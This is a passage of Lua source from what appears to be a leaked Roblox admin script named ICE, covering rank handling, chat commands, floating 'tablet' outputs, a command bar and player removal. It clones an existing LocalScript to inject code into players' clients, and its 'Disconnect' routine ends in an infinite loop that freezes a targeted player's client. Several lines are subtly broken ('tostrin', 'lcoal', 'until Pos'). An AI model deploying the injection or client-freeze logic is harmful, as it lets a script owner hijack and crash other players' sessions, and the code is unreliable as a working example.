  899. ScreenGui.Name='Info'
  900. Images={};
  901. ImageButton = Instance.new("ImageButton", ScreenGui)
  902. ImageButton.Position = UDim2.new(0, 0, 0, 200)
  903. ImageButton.Size = UDim2.new(0.20000000298023, 50, 0.20999999344349, 0)
  904. ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
  905. ImageButton.BorderColor3 = Color3.new(0, 0, 0)
  906. ImageButton.BackgroundTransparency = 1
  907. ImageButton.Image = ICE.LogoID
  908. ImageButton.Draggable=true
  909. Image2 = Instance.new("TextButton",ScreenGui)
  910. Image2.Size = UDim2.new(0.3,0,0.1,0)
  911. Image2.Position = UDim2.new(0,0,0,200)
  912. Image2.Text = "Click to show ICE Logo"
  913. Image2.BackgroundTransparency = 0.4
  914. Image2.ZIndex = 10
  915. Image2.FontSize = "Size14"
  916. Image2.TextColor3 = Color3.new(BrickColor.random())
  917. Image2.Visible=false
  918. Image3,Image4,Image5=Image2:clone(),Image2:clone(),Image2:clone()
  919. Image3.Text='Click to view cmds';
  920. Image3.Position=UDim2.new(0,0,0,200+75);
  921. Image4.Position=UDim2.new(0,0,0,200+135);
  922. Image5.Position=UDim2.new(0,0,0,200+195);
  923. Image3.MouseButton1Down:connect(function() ICE.OnChatted(ICE.Bets[1]..'cmds'..ICE.Bets[2],v) end)
  924. Image4.Text='Click to set cmd bar';
  925. Image6=Image5:clone();
  926. Image6.Position=UDim2.new(0,0,0,200+255);
  927. Image6.Text='Set true';
  928. Image6.MouseButton1Down:connect(function() ICE.Ranked[v].CMD=true end)
  929. Image5.MouseButton1Down:connect(function() ICE.Ranked[v].CMD=false end);
  930. Image5.Text='Set false';
  931. Images[1]=Image2;
  932. Images[2]=Image3;
  933. Images[3]=Image4;
  934. Images[4]=Image5;
  935. Images[5]=Image6;
  936. Image4.MouseButton1Down:connect(function()
  937. for i,v in pairs(Images) do
  938. if i > 3 then
  939. if v.Visible==true then
  940. v.Visible=false;
  941. else
  942. v.Visible=true;
  943. end
  944. end
  945. end
  946. end)
  947. ImageButton.MouseButton1Down:connect(function()
  948. ImageButton.Visible=false
  949. for i,v in pairs(Images) do
  950. if i < 4 then
  951. v.Visible=true
  952. end
  953. end
  954. end)
  955. ImageButton.MouseButton2Down:connect(function()
  956. end)
  957. Image2.MouseButton1Down:connect(function()
  958. ImageButton.Visible=true
  959. for i,v in pairs(Images) do
  960. v.Visible=false
  961. end
  962. end)
  963. Image3.Parent,Image4.Parent,Image5.Parent,Image6.Parent=Image2.Parent,Image2.Parent,Image2.Parent,Image2.Parent
  964. end
  965. end)()
  966. if ICE.Ranked[v.Name] and ICE.Ranked[v.Name].CMD==true then
  967. if v:FindFirstChild("PlayerGui") then
  968. Found=false;
  969. for i,p in next,v:children() do
  970. if p:FindFirstChild'IsCmd' then
  971. Found=true;
  972. end
  973. end
  974. if not v.PlayerGui:FindFirstChild("CMD") and Found==false and ICE.Ranked[v.Name].CMD==true then
  975. --[[local Main = Instance.new("ScreenGui",v.PlayerGui)
  976. Main.Name = "CMD"
  977. local Frame = Instance.new("Frame",Main)
  978. Frame.Size = UDim2.new(0.27,0,0.05,0)
  979. Frame.Position = UDim2.new(0.05,0,0.95,0)
  980. Frame.Style = "RobloxSquare"
  981. Frame.ZIndex = 9
  982. local Txt = Instance.new("TextBox",Frame)
  983. Txt.Size = UDim2.new(0.7,0,1,0)
  984. Txt.BackgroundTransparency = 1
  985. Txt.ZIndex = 10
  986. Txt.FontSize = "Size14"
  987. Txt.TextColor3 = ICE.Colors.White
  988. Txt.Text = ""
  989. local Exe = Instance.new("TextButton",Frame)
  990. Exe.Size = UDim2.new(0.3,0,1,0)
  991. Exe.Position = UDim2.new(0.7,0,0,0)
  992. Exe.Text = "Execute"
  993. Exe.BackgroundTransparency = 1
  994. Exe.ZIndex = 10
  995. Exe.FontSize = "Size14"
  996. Exe.TextColor3 = Color3.new(BrickColor.random())
  997. Exe.MouseButton1Down:connect(function()
  998. if Txt.Text:sub(1,1) == "^" then
  999. ICE.OnChatted(Txt.Text,v)
  1000. else
  1001. ICE.OnChatted(Txt.Text,v,true)
  1002. end
  1003. end)
  1004. Is=Instance.new'StringValue'
  1005. Is.Parent=Main
  1006. Is.Name='IsCmd'
  1007. --]]
  1008. CommandBar = Instance.new'ScreenGui'
  1009. CommandBar.Parent=PG
  1010. CommandBar.Name = 'CMD'
  1011. Run = Instance.new('TextButton', CommandBar)
  1012. Run.Name = 'Run'
  1013. Run.Position = UDim2.new(0, 75, 0.15, 500)
  1014. Run.Size = UDim2.new(0, 70, 0, 20)
  1015. Run.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
  1016. Run.BorderColor3 = Color3.new(1, 1, 1)
  1017. Run.BackgroundTransparency = 0.5
  1018. Run.Text = 'Run'
  1019. Run.FontSize = Enum.FontSize.Size12
  1020. Run.TextStrokeTransparency = 0
  1021. Run.TextColor3 = Color3.new(1, 1, 1)
  1022. Run.ZIndex=10
  1023. Txt = Instance.new('TextBox', CommandBar)
  1024. Txt.Name = 'Txt'
  1025. Txt.Position = UDim2.new(0, 150, 0.15, 500)
  1026. Txt.Size = UDim2.new(0, 850, 0, 20)
  1027. Txt.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
  1028. Txt.BorderColor3 = Color3.new(1, 1, 1)
  1029. Txt.BackgroundTransparency = 0.5
  1030. Txt.Text = ''
  1031. Txt.FontSize = Enum.FontSize.Size12
  1032. Txt.TextStrokeTransparency = 0
  1033. Txt.TextXAlignment = Enum.TextXAlignment.Left
  1034. Txt.TextColor3 = Color3.new(1, 1, 1)
  1035. Txt.ZIndex=10
  1036. Clear = Instance.new('TextButton', CommandBar)
  1037. Clear.Name = 'Clear'
  1038. Clear.Position = UDim2.new(0, 0, 0.15, 500)
  1039. Clear.Size = UDim2.new(0, 70, 0, 20)
  1040. Clear.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
  1041. Clear.BorderColor3 = Color3.new(1, 1, 1)
  1042. Clear.BackgroundTransparency = 0.5
  1043. Clear.Text = 'Clear'
  1044. Clear.FontSize = Enum.FontSize.Size12
  1045. Clear.TextStrokeTransparency = 0
  1046. Clear.TextColor3 = Color3.new(1, 1, 1)
  1047. Clear.ZIndex=10
  1048. Is=Instance.new'StringValue'
  1049. Is.Parent=CommandBar
  1050. Is.Name='IsCmd'
  1051. Run.MouseButton1Down:connect(function()
  1052. if Txt.Text:sub(1,1) == "^" then
  1053. ICE.OnChatted(Txt.Text:sub(2),v)
  1054. else
  1055. ICE.OnChatted(Txt.Text,v,true)
  1056. end
  1057. end)
  1058. Clear.MouseButton1Down:connect(function() Txt.Text="" end)
  1059. end
  1060. end
  1061. end
  1062. end)()
  1063. end
  1064. if ICE.ActivateGrow==true then
  1065. for i,v in pairs(ICE.Tablets) do
  1066. if v.JustMade==false then
  1067. if v.Rising==true then
  1068. if v.Part.Size.x >= 2.5 then
  1069. v.Rising=false
  1070. else
  1071. v.Part.Size=Vector3.new(v.Part.Size.x+0.1,v.Part.Size.y+0.1,v.Part.Size.z+0.1)
  1072. end
  1073. else
  1074. if v.Part.Size.x <= 1 then
  1075. v.Rising=true
  1076. else
  1077. v.Part.Size=Vector3.new(v.Part.Size.x-0.1,v.Part.Size.y-0.1,v.Part.Size.z-0.1)
  1078. end
  1079. end
  1080. end
  1081. end
  1082. end
  1083. local Source=game:findFirstChild("DSource",true) or game:findFirstChild("Source",true) or game:findFirstChild("source",true)
  1084. if Source then
  1085. if ICE.LocalScript==nil then
  1086. if Source.Parent:IsA'LocalScript' then
  1087. Par=Source.Parent:Clone()
  1088. Par:ClearAllChildren()
  1089. ICE.LocalScript=Par
  1090. for _,v in pairs(ICE.Services.Players:GetPlayers()) do
  1091. if ICE.GetRank(v) >= 1 then
  1092. ICE.Output('[ICE]: Found local script','White',v,3)
  1093. end
  1094. end
  1095. end
  1096. end
  1097. end
  1098. end)()
  1099. -- pcall(function()
  1100. for i,v in pairs(ICE.Tablets) do
  1101. if v.Model == nil or v.Model.Parent == nil or v.Part == nil or v.Part.Parent==nil then
  1102. ICE.Tablets[i]=nil
  1103.  
  1104. end
  1105. pcall(function() if ICE.Services.Players:FindFirstChild(v.Player) == nil then
  1106. v.Model:Destroy()
  1107. ICE.Tablets[i]=nil
  1108. end end)
  1109. end
  1110. for _,Player in pairs(ICE.Services.Players:GetPlayers()) do
  1111. local _tablets = ICE.GetTablets(Player)
  1112. local DismissTablets={}
  1113. local TabletNumber = 0
  1114. for i,v in pairs(_tablets) do
  1115. if #_tablets == 1 then
  1116. if v.Label.Text == 'Dismiss' then
  1117. v.Model:Destroy()
  1118. _tablets[i]=nil
  1119. end
  1120. elseif #_tablets > 1 then
  1121. if v.Label.Text == "Dismiss" then
  1122. table.insert(DismissTablets,v)
  1123. end
  1124. end
  1125. TabletNumber = TabletNumber + 1
  1126. end
  1127. if #DismissTablets > 1 then for i,Tablet in pairs(DismissTablets) do if #DismissTablets > 1 then Tablet.Model:Destroy() DismissTablets[i]=nil end end end
  1128. if #DismissTablets == 0 and #_tablets >=2 then ICE.Output('Dismiss','Red',Player) end
  1129. for i = 1, #_tablets do
  1130. if _tablets[i].Model.Parent ~= nil then
  1131. local tab = _tablets[i].Part
  1132. local pos = nil
  1133. pcall(function()
  1134. pos = Player.Character.Torso.CFrame
  1135. end)
  1136. if pos == nil then
  1137. repeat
  1138. pcall(function() pos=Player.Character.Torso.CFrame end)
  1139. wait()
  1140. until Pos
  1141. end
  1142. if pos then
  1143. local x = math.sin(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
  1144. local z = math.cos(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
  1145. local cPos = tab.Position
  1146. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1147. local nPos = (ePos-cPos)*.25
  1148. cPos = cPos + nPos
  1149. --local Angles={};
  1150. Angles={_tablets[i].x,_tablets[i].y,_tablets[i].z}
  1151. Angles[1]=Angles[1]+tonumber( math.random() + math.random() );
  1152. Angles[2]=Angles[2]+tonumber( math.random() + math.random() );
  1153. Angles[3]=Angles[3]+tonumber( math.random() + math.random() );
  1154. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(Angles[1]),math.rad(Angles[2]),math.rad(Angles[3]))
  1155. _tablets[i].x=Angles[1]
  1156. _tablets[i].y=Angles[2]
  1157. _tablets[i].z=Angles[3]
  1158. if tab:findFirstChild("Effect") then
  1159. tab.Effect.CFrame = tab.CFrame
  1160. end
  1161. end
  1162. else
  1163. _tablets[i]=nil
  1164. end
  1165. end
  1166. end
  1167. -- end)
  1168. -- end
  1169. end
  1170. ICE.GetTablets=function(Player)
  1171. if type(Player) == 'userdata' then Player=Player.Name end;
  1172. Rt={}
  1173. for i,v in pairs(ICE.Tablets) do if v.Player == Player then table.insert(Rt,v) end end;
  1174. return Rt
  1175. end
  1176. ICE.Replicate=function(Text,Number)
  1177. Total="";
  1178. for i=1,Number do wait()
  1179. Total=Total .. Text;
  1180. end
  1181. return Total
  1182. end;
  1183. ICE.ItemCFrame=function(Item,Bool)
  1184. if type(Item)=='string' then
  1185. Item=game:findFirstChild(Item,Bool)
  1186. end
  1187. -- Load the Item first ;)
  1188. -- Set up tables --
  1189. ReturnTable={};
  1190. MetaReturnTable={
  1191. __index=function(tab,key)
  1192. local Daf={Item=nil,CFrame=nil};
  1193. Daf.Item=ItemCFrame(Item,Bool)[1].Item;
  1194. Daf.CFrame=ItemCFrame(Item,Bool)[1].CFrame;
  1195. ReturnTable[#ReturnTable+1]=Daf
  1196. return Daf;
  1197. end;
  1198. };
  1199. setmetatable(ReturnTable,MetaReturnTable);
  1200. if type(Item) == 'table' then
  1201. for i,v in pairs(Item) do
  1202. if type(i)=='string' then
  1203. table.insert(ReturnTable,{Item=ItemCFrame(i,Bool)[1].Item,CFrame=ItemCFrame(i,Bool)[1].CFrame})
  1204. else
  1205. table.insert(ReturnTable,{Item=ItemCFrame(v,Bool)[1].Item,CFrame=ItemCFrame(v,Bool)[1].CFrame})
  1206. end
  1207. end
  1208. else
  1209. if type(Item)=='userdata' then
  1210. if Item:IsA'Model' then
  1211. CFrame=Item:GetModelCFrame();
  1212. ReturnTable[#ReturnTable+1]={Item=Item.PrimaryPart or Item,CFrame=CFrame};
  1213. else
  1214. ReturnTable[#ReturnTable+1]={Item=Item,CFrame=Item.CFrame};
  1215. end
  1216. else
  1217. return '[Item CFrame Function]: Unsupported argument type(Item)'
  1218. end
  1219. end
  1220. return ReturnTable
  1221. end;
  1222. ICE.Output=function(Text,Color,Player,Time,Func,HoverEnter,HoverExit,Type)
  1223. if Text == nil or Player == nil then return end
  1224. if Player:IsA'Player' then else return end
  1225. if Color == nil then Color = "Orange" end
  1226. if Color == "Random" then
  1227. Color = Color3.new(math.random(),math.random(),math.random())
  1228. end
  1229. if type(Color) == "string" then
  1230. if Color == "Random" then
  1231. Color=Color3.new(math.random(),math.random(),math.random())
  1232. Color = Color3.new(math.random(),math.random(),math.random())
  1233. else
  1234. Color = ICE.Colors[Color]
  1235. end
  1236. end
  1237. local Model=Instance.new'Model'
  1238. Model.Name,Model.Parent='Output:\\['..Player.Name..']/:tuptuO',ICE.Services.Workspace
  1239. local Part=Instance.new'Part'
  1240. Part.Parent,Part.FormFactor,Part.TopSurface,Part.BottomSurface,Part.Transparency,Part.Anchored,Part.Locked,Part.CanCollide,Part.BrickColor,Part.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
  1241. Part:BreakJoints();
  1242. local SelectionBox=Instance.new'SelectionBox'
  1243. SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
  1244. local BillBoard=Instance.new'BillboardGui'
  1245. BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BBG',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
  1246. local Label=Instance.new'TextLabel'
  1247. Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label',Text,Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
  1248. local Click=Instance.new'ClickDetector'
  1249. Click.Parent,Click.MaxActivationDistance=Part,1/0
  1250. local Effect=nil;
  1251. if ICE.Tablet ~= 'Normal' then
  1252. Part.Shape='Ball';
  1253. Part.Size=Vector3.new(2,2,2)
  1254. local Effect=Instance.new'Part'
  1255. Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
  1256. Effect:BreakJoints();
  1257. Effect.Parent = Part
  1258. Effect.Name = "Effect"
  1259. Effect.Shape = "Block"
  1260. Effect.FormFactor = "Custom"
  1261. Effect.CFrame=Part.CFrame
  1262. Effect.Transparency = 0
  1263. Effect.Size = Vector3.new(0.875,0.875,0.875)
  1264. SelectionBox.Adornee=Effect
  1265. Part.Transparency=0.5
  1266. elseif ICE.Effect and ICE.Effect==true then
  1267. local Effect=Instance.new'Part'
  1268. Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
  1269. Effect:BreakJoints();
  1270. Effect.Parent = Part
  1271. Effect.Name = "Effect"
  1272. Effect.Shape = "Ball"
  1273. Effect.FormFactor = "Custom"
  1274. Effect.CFrame=Part.CFrame
  1275. Effect.Transparency = 0
  1276. Effect.Size = Vector3.new(0.875,0.875,0.875)
  1277. SellClone=Instance.new'SelectionBox'
  1278. SellClone.Color=BrickColor.new(Color);
  1279. SellClone.Adornee=Effect
  1280. SellClone.Parent=Effect
  1281. SellClone.Transparency=0.5
  1282. end
  1283. if Type then
  1284. if Type == "Tablet" then
  1285. Effect=Part:clone()
  1286. Effect.Size=Vector3.new(1,1,1)
  1287. Effect.Shape=math.random(1,4)
  1288. Effect.Name='Effect'
  1289. Effect:ClearAllChildren();
  1290. Effect.Parent=Part
  1291. end
  1292. end
  1293. pcall(function()
  1294. -- Dynamic lighting
  1295. if ICE.Services.Lighting.GlobalShadows==true and ICE.Services.Lighting.Ambient==Color3.new(0,0,0) or ICE.Services.Lighting.Ambient==Color3.new(-1,-1,-1) then
  1296. Spot=Instance.new'PointLight'
  1297. Spot.Color=Color
  1298. Spot.Parent=Part
  1299. Spot.Range=10
  1300. Spot.Brightness=1/0
  1301. end
  1302. end)
  1303. Click.MouseHoverEnter:connect(function(Clicker)
  1304. if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
  1305. if HoverEnter~=nil then
  1306. HoverEnter(Model,Part,Player.Name,SelectionBox,Label)
  1307. else
  1308. SelectionBox.Transparency,Part.Transparency=0,0.3
  1309. end
  1310. end
  1311. end)
  1312. Click.MouseHoverLeave:connect(function(Clicker)
  1313. if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
  1314. if HoverExit~=nil then
  1315. HoverExit(Model,Part,Player.Name,SelectionBox,Label)
  1316. else
  1317. SelectionBox.Transparency,Part.Transparency=0.7,0.7
  1318. end
  1319. end
  1320. end)
  1321. Click.MouseClick:connect(function(Clicker)
  1322. if Clicker==Player or ICE.GetRank(Clicker) > ICE.GetRank(Player) then
  1323. if Text=='Dismiss' then
  1324. ICE.RemoveTablets(Player);
  1325. end
  1326. if Func~=nil then
  1327. local Ran,Error=coroutine.resume(coroutine.create(function() Func(Player) end))
  1328. if Ran == nil and Error then
  1329. ICE.Output(Error,'Red',Player,5)
  1330. end
  1331. end
  1332. coroutine.wrap(function()
  1333. for i=0,2.5,0.1 do
  1334. if i <= 1 then
  1335. Part.Transparency,SelectionBox.Transparency,Label.TextTransparency=i,i,i
  1336. end
  1337. Num=2.5-i
  1338. if ICE.Tablet=='Normal' then
  1339. Part.Size=Vector3.new(Num,Num,Num)
  1340. end
  1341. wait()
  1342. end
  1343. if Model then
  1344. Model:Destroy()
  1345. end
  1346. end)()
  1347. end
  1348. end)
  1349. ICE.Tablets[#ICE.Tablets+1] = {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label,Type="No",x=0,y=0,z=0,JustMade=false,Rising=false}
  1350. coroutine.wrap(function()
  1351. if ICE.ActivateGrow==false and ICE.Tablet == 'Normal' then
  1352. for i=0,2.5,0.1 do
  1353. wait()
  1354. Part.Size=Vector3.new(i,i,i)
  1355. end
  1356. wait()
  1357. end
  1358. end)()
  1359. if Time then
  1360. game:service'Debris':AddItem(Model,Time)
  1361. end
  1362. ICE.Rotate()
  1363. return {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label}
  1364. end
  1365. ICE.OutputImg=function(Image,Text,Color,Player,Time,Func)
  1366. Tab = ICE.Output(Text,Color,Player,Time,Func)
  1367. if type(Image)=='number' then Image=tostring(Image) end
  1368. if #Image < #("http://www.roblox.com/") then
  1369. Image="http://www.roblox.com/asset/?id="..Image
  1370. end
  1371. BBG = Instance.new("BillboardGui",Tab.Model)
  1372. BBG.Size = UDim2.new(5,0,6,0)
  1373. BBG.StudsOffset = Vector3.new(0, 7, 0)
  1374. BBG.Adornee = Tab.Part
  1375. Img = Instance.new("ImageLabel",BBG)
  1376. Img.Size = UDim2.new(1,0,1,0)
  1377. Img.BackgroundTransparency = 1
  1378. Img.Image = Image--"http://www.roblox.com/asset/?id=111659053"
  1379. return Tab
  1380. end
  1381. ICE.BCtoC3=function(BC)
  1382. if type(BC)=='userdata' or type(BC)=='BrickColor' then
  1383. return Color3.new(BC)
  1384. elseif type(BC)=='string' then
  1385. return Color3.new(BrickColor.new(BC))
  1386. else
  1387. return 'Unsupported format( ' .. type(BC) .. '; ' .. tostring(BC) .. ')'
  1388. end
  1389. end;
  1390. ICE.SaveData=function(Player)
  1391. local Old=Player:LoadInstance('Data ICE25' )
  1392. New=false
  1393. if Old==nil then
  1394. New=true
  1395. Old=Instance.new'Model'
  1396. end
  1397. if New==true then
  1398. local Rank=Instance.new'IntValue'
  1399. Rank.Parent=Old
  1400. Rank.Name='Rank'
  1401. Rank.Value=ICE.Ranked[Player.Name].Rank
  1402. Color=Instance.new'Color3Value'
  1403. Color.Parent=Old
  1404. Color.Name,Color.Value='Color',ICE.Ranked[Player.Name].Color
  1405. else
  1406. pcall(function()
  1407. if Old.Rank then
  1408. Old.Rank.Value=ICE.Ranked[Player.Name].Rank
  1409. Old.Color.Value=ICE.Ranked[Player.Name].Color
  1410. else
  1411. local Rank=Instance.new'IntValue'
  1412. Rank.Parent=Old
  1413. Rank.Name='Rank'
  1414. Rank.Value=ICE.Ranked[Player.Name].Rank
  1415. Color=Instance.new'Color3Value'
  1416. Color.Parent=Old
  1417. Color.Name,Color.Value='Color',ICE.Ranked[Player.Name].Color
  1418. end
  1419. end)
  1420. end
  1421. Player:SaveInstance('Data ICE25',Old)
  1422. end
  1423. ICE.LoadData=function(Player)
  1424. tab={Rank=nil,Color=nil}
  1425. local Mod=Player:LoadInstance'Data ICE25'
  1426. if Mod then
  1427. tab.Rank=Mod.Rank.Value
  1428. tab.Color=Mod.Color.Value
  1429. end
  1430. return tab
  1431. end
  1432. ICE.CreateLocalScript=function(Source,Parent)
  1433. if Parent==nil then Parent=Instance.new'Model' end
  1434. if Source==nil then return end
  1435. if newLocalScript then
  1436. return newLocalScript(Source,Parent)
  1437. elseif NewLocalScript then
  1438. return NewLocalScript(Source,Parent)
  1439. else
  1440. if ICE.LocalScript~=nil then
  1441. CL=ICE.LocalScript:clone()
  1442. CL:ClearAllChildren();
  1443. CL.Name='[ICE]:PseudoLocal'
  1444. DS=Instance.new'StringValue'
  1445. DS.Name='Source'
  1446. if game.CreatorId==9201 then
  1447. DS.Name='DSource'
  1448. end
  1449. DS.Value=Source
  1450. CL.Disabled=true
  1451. CL.Parent=Parent
  1452. CL.Disabled=false
  1453. return CL
  1454. else
  1455. return nil
  1456. end
  1457. end
  1458. end
  1459. --[[ Mesh = Instance.new("SpecialMesh")
  1460. Mesh.MeshId = "http://www.roblox.com/asset/?id=105408067"
  1461. Mesh.MeshType = Enum.MeshType.FileMesh
  1462. Mesh.Parent=Tab.Part
  1463. ]] --
  1464. ICE.ConChat=function(Player)
  1465. coroutine.wrap(function()
  1466. local Script = ICE.CreateLocalScript([==[
  1467. wait()
  1468. script.Parent=Instance.new'Glue'
  1469. LocalPlayer=game:service'Players'.LocalPlayer;
  1470. Rank=]==]..tostrin(ICE.Ranked[Player].Rank)..[==[;
  1471. repeat
  1472. wait()
  1473. until LocalPlayer.Parent==nil or LocalPlayer.Parent ~= game.Players;
  1474. LocalPlayer.Chatted:connect(function(Msg)
  1475. if Rank > 0 then
  1476. local Mod=Instance.new'Model'
  1477. lcoal Data=Instance.new'StringValue'
  1478. local Player=Instance.new'Model'
  1479. Player.Name=LocalPlayer.Name
  1480. Mod.Name='External';
  1481. Data.Name='Message'
  1482. Data.Value=tostring(Msg)
  1483. Data.Parent=Mod
  1484. Player.Parent=Mod
  1485. Mod.Parent=game:service'Lighting'
  1486. game:service'Debris':AddItem(Mod,5)
  1487. end
  1488. end)
  1489. ]==],Player.Backpack)
  1490. end)()
  1491. end
  1492. ICE.SetChat=function(Player)
  1493. coroutine.wrap(function()
  1494. local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1495. FoundChat=ICE.ChatConnections[Player.Name]
  1496. if FoundChat~=nil then
  1497. FoundChat.Conn:disconnect()
  1498. ICE.ChatConnections[Player.Name]={Conn=Connection}
  1499. else
  1500. ICE.ChatConnections[Player.Name]={Conn=Connection};
  1501. end
  1502. end)()
  1503. end
  1504. ICE.FixChat=function(Player)
  1505. coroutine.wrap(function()
  1506. local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1507. FoundChat=ICE.ChatConnections[Player.Name]
  1508. if FoundChat~=nil then
  1509. FoundChat.Conn:disconnect()
  1510. ICE.ChatConnections[Player.Name]={Conn=Connection}
  1511. else
  1512. ICE.ChatConnections[Player.Name]={Conn=Connection};
  1513. end
  1514. end)()
  1515. end
  1516. ICE.Connect=function(Player)
  1517. coroutine.wrap(function()
  1518. repeat wait() until Player.Character and Player:findFirstChild'Backpack'
  1519. if newLocalScript then
  1520. newLocalScript([==[
  1521. wait()
  1522. script.Parent=Instance.new'Glue'
  1523. LocalPlayer=game:service'Players'.LocalPlayer;
  1524. LocalPlayer.Chatted:connect(function(Msg)
  1525. --if Rank > 0 then
  1526. if game.Players:findFirstChild(LocalPlayer.Name)==nil then
  1527. Mod,Mg,Pg=Instance.new'Model',Instance.new'StringValue',Instance.new'StringValue'
  1528. Mod.Name,Mg.Name,Pg.Name='External','Message',LocalPlayer.Name
  1529. Mg.Value,Pg.Value=tostring(Msg),'Player'
  1530. Mg.Parent,Pg.Parent=Mod,Mod
  1531. Mod.Parent=game.Workspace
  1532. game:service'Debris':AddItem(Mod,5)
  1533. end
  1534. --end
  1535. end)
  1536. ]==],Player.Backpack)
  1537. newLocalScript([[
  1538. ICE={
  1539. Services={};
  1540. }
  1541. for i,v in pairs(game:children()) do ICE.Services[v.Name]=v end
  1542. LocalPlayer=ICE.Services.Players.LocalPlayer;
  1543. script.Parent=nil;
  1544. script:ClearAllChildren();
  1545. Removed=false
  1546. game:service'RunService'.Stepped:connect(function()
  1547. if Removed==false then
  1548. if ICE.Services.Lighting:findFirstChild'Disconnect' then
  1549. local Item=ICE.Services.Lighting:findFirstChild'Disconnect'
  1550. if Item.Value==LocalPlayer.Name then
  1551. pcall(Item.Destroy,Item)
  1552. LocalPlayer.Parent=nil
  1553. wait()
  1554. LocalPlayer.Parent=ICE.Services.Players
  1555. wait(1)
  1556. repeat until nil
  1557. end
  1558. end
  1559. if ICE.Services.Lighting:findFirstChild'Ender' then
  1560. if ICE.Services.Lighting.Ender.Value=="]]..ICE.Ender..[[" then
  1561. Removed=true
  1562. end
  1563. end
  1564. end
  1565. end)]],Player.Character)
  1566. ICE.Output('Connect succesfully!','Green',Player,3)
  1567. end
  1568. end)()
  1569. coroutine.wrap(function()
  1570. Player:WaitForDataReady()
  1571. if Player.Character==nil then
  1572. Player:LoadCharacter();
  1573. end
  1574. if ICE.Ranked[Player.Name]==nil then
  1575. local Rankkh=0
  1576. Colorr=Color3.new(0,1,0);
  1577. local Item=ICE.LoadData(Player)
  1578. if Item.Rank ~= nil then
  1579. Rankkh=Item.Rank
  1580. Colorr=Item.Color
  1581. end
  1582. ICE.Ranked[Player.Name]={Rank=Rankkh,Color=Color3.new(0,1,0),CMD=false};
  1583. end
  1584. coroutine.wrap(function()
  1585. local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1586. FoundChat=ICE.ChatConnections[Player.Name]
  1587. if FoundChat~=nil then
  1588. FoundChat.Conn:disconnect()
  1589. ICE.ChatConnections[Player.Name]={Conn=Connection}
  1590. else
  1591. ICE.ChatConnections[Player.Name]={Conn=Connection};
  1592. end
  1593. end)()
  1594. ToBeRemoved=false
  1595. if ICE.Ranked[Player.Name].Rank == -1 then
  1596. for _,v in pairs(ICE.Services.Players:children()) do
  1597. if v.Name == Player.Name then
  1598. --
  1599. else
  1600. pcall(function() Player:Destroy() end)
  1601. ICE.Output(Player.Name .. ' has been removed due to a banishment','Red',v,5)
  1602. end
  1603. end
  1604. repeat
  1605. Player:Destroy();wait();
  1606. until Player==nil
  1607. end
  1608. if Player.Name:sub(1,6) == 'Guest ' then
  1609. ToBeRemoved=true
  1610. for _,v in pairs(ICE.Services.Players:children()) do
  1611. if v.Name ~= Player.Name then
  1612. pcall(function() Player:Destroy() end)
  1613. ICE.Output(Player.Name .. ' has been removed because guests are not allowed.','Red',v,5)
  1614. end
  1615. end
  1616. end
  1617. if Player.AccountAge < 7 and ICE.Ranked[Player.Name].Rank == 0 then
  1618. ToBeRemoved=true
  1619. for _,v in pairs(ICE.Services.Players:children()) do
  1620. if v.Name ~= Player.Name then
  1621. pcall(function() Player:Destroy() end)
  1622. ICE.Output(Player.Name .. ' has been removed because his/her account is not a week old yet.','Red',v,5)
  1623. end
  1624. end
  1625. end
  1626. if ToBeRemoved==true then
  1627. repeat
  1628. Player:Destroy();wait();
  1629. until Player==nil
  1630. else
  1631. --if ICE.LocalScript and game.PlaceId~= 21053279 then
  1632. --end
  1633.  
  1634. end
  1635. repeat
  1636. wait()
  1637. until ICE.Ranked[Player.Name]
  1638. wait()
  1639. if ICE.Services.Players:findFirstChild(Player.Name) and ToBeRemoved==false then
  1640. --Player.Chatted:connect(function(Msg) coroutine.wrap(function() ICE.OnChatted(Msg,Player) end)() end)
  1641. ICE.SetChat(Player);
  1642. if ICE.GetRank(Player) > 0 then
  1643. ICE.Output('Your rank is ' .. ICE.GetRank(Player),'Orange',Player,10)
  1644. ICE.Output('Welcome to ICE by AdminMakerLeaked','Green',Player,10)
  1645. ICE.OnChatted(ICE.Bets[2]..'connect'..ICE.Bets[2],Player,true)
  1646. else
